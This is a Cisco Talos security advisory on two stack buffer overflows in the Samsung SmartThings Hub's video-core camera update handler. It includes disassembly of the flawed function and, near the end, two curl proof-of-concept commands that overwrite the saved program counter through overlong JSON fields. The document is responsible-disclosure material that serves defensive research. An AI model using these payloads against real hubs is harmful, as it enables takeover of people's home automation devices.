Talos Vulnerability Report

TALOS-2018-0574

Samsung SmartThings Hub video-core Camera Update Code Execution Vulnerabilities

July 26, 2018
CVE Number

CVE-2018-3903, CVE-2018-3904

Summary

Multiple exploitable buffer overflow vulnerabilities exist in the camera "update" feature of video-core's HTTP server of Samsung SmartThings Hub. The video-core process incorrectly extracts fields from a user-controlled JSON payload, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://www.smartthings.com/products/smartthings-hub

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Details

Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.

The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they're both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process, which uses ffmpeg to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.

The remote SmartThings servers have the possibility to communicate with the video-core process by sending messages in the persistent TLS connection, established by the hubCore process. These messages can encapsulate an HTTP request, which hubCore would relay directly to the HTTP server exposed by video-core. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.

We identified a vulnerable request that can be exploited to achieve code execution on the video-core process, which is running as root. By sending a PATCH request for the /cameras/<camera-id> path it's possible to replace the URL and the "state" value of an existing camera.

Such request is handled by function sub_49B4C:

.text:00049B4C     sub_49B4C
.text:00049B4C
.text:00049B4C 000        STMFD           SP!, {R4-R11,LR}
.text:00049B50 024        ADD             R12, R3, #8
.text:00049B54 024        ADD             R11, SP, #0x20
.text:00049B58 024        SUB             SP, SP, #0x3580
.text:00049B5C 35A4       BIC             R12, R12, #7
.text:00049B60 35A4       SUB             SP, SP, #0x2C
.text:00049B64 35D0       SUB             R4, R11, #-var_3000
...
.text:00049BCC 35D0       BL              http_required_json_parameters  ; [1]
...
.text:00049C90 000        BL              json_tokener_parse             ; [2]
...
.text:00049D10 000        BL              db_camera_by_id                ; [3]
.text:00049D14 000        SUB             R3, R11, #-var_3580
.text:00049D18 000        CMN             R0, #4
.text:00049D1C 000        SUB             R3, R3, #0x2C
.text:00049D20 000        LDR             R12, [R3]
.text:00049D24 000        BEQ             loc_49FD8
.text:00049D28 000        CMP             R8, #0
.text:00049D2C 000        BNE             loc_4A270
...
.text:0004A130     loc_4A130
.text:0004A130 000        SUB             R3, R11, #-var_3580
.text:0004A134 000        MOV             R1, #:lower16:state            ; "state"
.text:0004A138 000        SUB             R3, R3, #0x30
.text:0004A13C 000        STR             R12, [R3]
.text:0004A140 000        SUB             R3, R11, #-var_3580
.text:0004A144 000        MOVT            R1, #:upper16:state            ; "state"
.text:0004A148 000        SUB             R3, R3, #0x2C
.text:0004A14C 000        LDR             R2, [R3]
.text:0004A150 000        SUB             R3, R11, #-var_3580
.text:0004A154 000        SUB             R3, R3, #0x28
.text:0004A158 000        LDR             R0, [R3]                       ; jso
.text:0004A15C 000        BL              json_object_object_get_ex      ; [4]
.text:0004A160 000        SUB             R3, R11, #-var_3580
.text:0004A164 000        CMP             R0, #0
.text:0004A168 000        SUB             R3, R3, #0x30
.text:0004A16C 000        LDR             R12, [R3]
.text:0004A170 000        BNE             loc_4A180
...
.text:0004A180     loc_4A180
.text:0004A180 000        SUB             R3, R11, #-var_3580
.text:0004A184 000        LDR             R0, [R4,#-0x580]
.text:0004A188 000        SUB             R3, R3, #0x2C
.text:0004A18C 000        STR             R12, [R3]
.text:0004A190 000        BL              json_object_to_json_string     ; [5]
.text:0004A194 000        SUB             R3, R11, #-var_3580
.text:0004A198 000        SUBS            R5, R0, #0
.text:0004A19C 000        SUB             R3, R3, #0x2C
.text:0004A1A0 000        LDR             R12, [R3]
.text:0004A1A4 000        BEQ             loc_4A3CC
.text:0004A1A8 000        BL              strlen                         ; [6]
.text:0004A1AC 000        SUB             R3, R11, #-var_2040
.text:0004A1B0 000        MOV             R2, R0
.text:0004A1B4 000        SUB             R3, R3, #0x28
.text:0004A1B8 000        MOV             R1, R5
.text:0004A1BC 000        ADD             R0, R3, #0x810
.text:0004A1C0 000        ADD             R0, R0, #8
.text:0004A1C4 000        BL              memcpy                         ; [7]
.text:0004A1C8 000        MOV             R0, R5
.text:0004A1CC 000        BL              strlen
...
.text:0004A270     loc_4A270
.text:0004A270 000        SUB             R3, R11, #-var_3580
.text:0004A274 000        SUB             R2, R11, #-var_3580
.text:0004A278 000        SUB             R3, R3, #0x30
.text:0004A27C 000        STR             R12, [R3]
.text:0004A280 000        SUB             R3, R11, #-var_3580
.text:0004A284 000        SUB             R2, R2, #0x2C
.text:0004A288 000        SUB             R3, R3, #0x24
.text:0004A28C 000        MOV             R1, R7
.text:0004A290 000        STR             R3, [R2]
.text:0004A294 000        MOV             R2, R3
.text:0004A298 000        SUB             R3, R11, #-var_3580
.text:0004A29C 000        MOV             R6, #:lower16:debug_log
.text:0004A2A0 000        SUB             R3, R3, #0x28
.text:0004A2A4 000        LDR             R0, [R3]                       ; jso
.text:0004A2A8 000        BL              json_object_object_get_ex      ; [4]
.text:0004A2AC 000        SUB             R3, R11, #-var_3580
.text:0004A2B0 000        CMP             R0, #0
.text:0004A2B4 000        SUB             R3, R3, #0x30
...
.text:0004A2D0 000        SUB             R3, R11, #-var_3580
.text:0004A2D4 000        LDR             R0, [R4,#-0x580]
.text:0004A2D8 000        SUB             R3, R3, #0x30
.text:0004A2DC 000        STR             R12, [R3]
.text:0004A2E0 000        BL              json_object_to_json_string     ; [5]
.text:0004A2E4 000        SUB             R3, R11, #-var_3580
.text:0004A2E8 000        SUBS            R5, R0, #0
.text:0004A2EC 000        SUB             R3, R3, #0x30
.text:0004A2F0 000        LDR             R12, [R3]
.text:0004A2F4 000        BEQ             loc_4A44C
.text:0004A2F8 000        BL              strlen                         ; [6]
.text:0004A2FC 000        SUB             R3, R11, #-var_2040
.text:0004A300 000        MOV             R2, R0
.text:0004A304 000        SUB             R3, R3, #0x24
.text:0004A308 000        MOV             R1, R5
.text:0004A30C 000        ADD             R0, R3, #0x610
.text:0004A310 000        BL              memcpy                         ; [7]
.text:0004A314 000        MOV             R0, R5
.text:0004A318 000        BL              strlen
.text:0004A31C 000        SUB             R3, R11, #-var_1A40
.text:0004A320 000        SUB             R3, R3, #0x18
.text:0004A324 000        STR             R0, [R3]
.text:0004A328 000        SUB             R3, R11, #-var_3580
.text:0004A32C 000        SUB             R3, R3, #0x30
.text:0004A330 000        LDR             R12, [R3]
.text:0004A334 000        CMP             R12, #0
.text:0004A338 000        BNE             loc_4A130
...

Note that the binary embeds the "json-c" library that is used to manage JSON objects.

The function initially calls http_required_json_parameters at [1] to verify that all the required parameters are specified in the JSON request, the parameters are url and state. The JSON payload sent in the request is then parsed using json_tokener_parse [2] and the "camera-id" specified in the request path is verified to exist in the database [3]. Then, both url and state parameters are extracted using the following sequence:

- Call to `json_object_object_get_ex` [4] and `json_object_to_json_string` [5] for extracting a parameter by key name.
- Copy the parameter value in a buffer on the stack, using `strlen` [6] and `memcpy` [7].

We can see that the length value for the memcpy call is set from the strlen output of the source string itself. At high level this would be:

memcpy(stack_buffer, json_parameter, strlen(json_parameter));

Since json_parameter is controlled by the user, there is no restriction on the length of the copy operation, which allows for overflowing the stack buffer and execute arbitrary code.

We identified two different vectors that allow for exploiting this vulnerability:

  • Anyone able to impersonate the remote SmartThings servers can send arbitrary HTTP requests to hubCore that would be relayed without modification to the vulnerable video-core process.
  • SmartThings SmartApps allow for the creation of custom applications that can be either published directly into the device itself or on the public marketplace. A SmartApp is executed inside the hubCore process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable video-core process.

A third vector might exist, which we decided not to test to avoid damaging any live infrastructure. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it.

The following is a list of each vulnerability and its proof of concept. A key with value "x" means that its value is irrelevant, but the key still needs to be present. It's also assumed that a camera is already present and its id is represented by the variable "${sCameraId}".

CVE-2018-3903 - "url" key

The memcpy call overflows the destination buffer, which has a size of 512 bytes. An attacker can send an arbitrarily long "url" value in order to overwrite the saved-PC with 0x42424242:

$ curl -X PATCH "http://127.0.0.1:3000/cameras/${sCameraId}" -d '{"url":"'$(perl -e 'print "A"x6740')BBBBX'","state":"x"}'

CVE-2018-3904 - "state" key

The memcpy call overflows the destination buffer, which has a size of 512 bytes. An attacker can send an arbitrarily long "state" value in order to overwrite the saved-PC with 0x42424242:

$ curl -X PATCH "http://127.0.0.1:3000/cameras/${sCameraId}" -d '{"url":"x","state":"'$(perl -e 'print "A"x6224')BBBBX'"}'

Timeline

2018-04-16 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.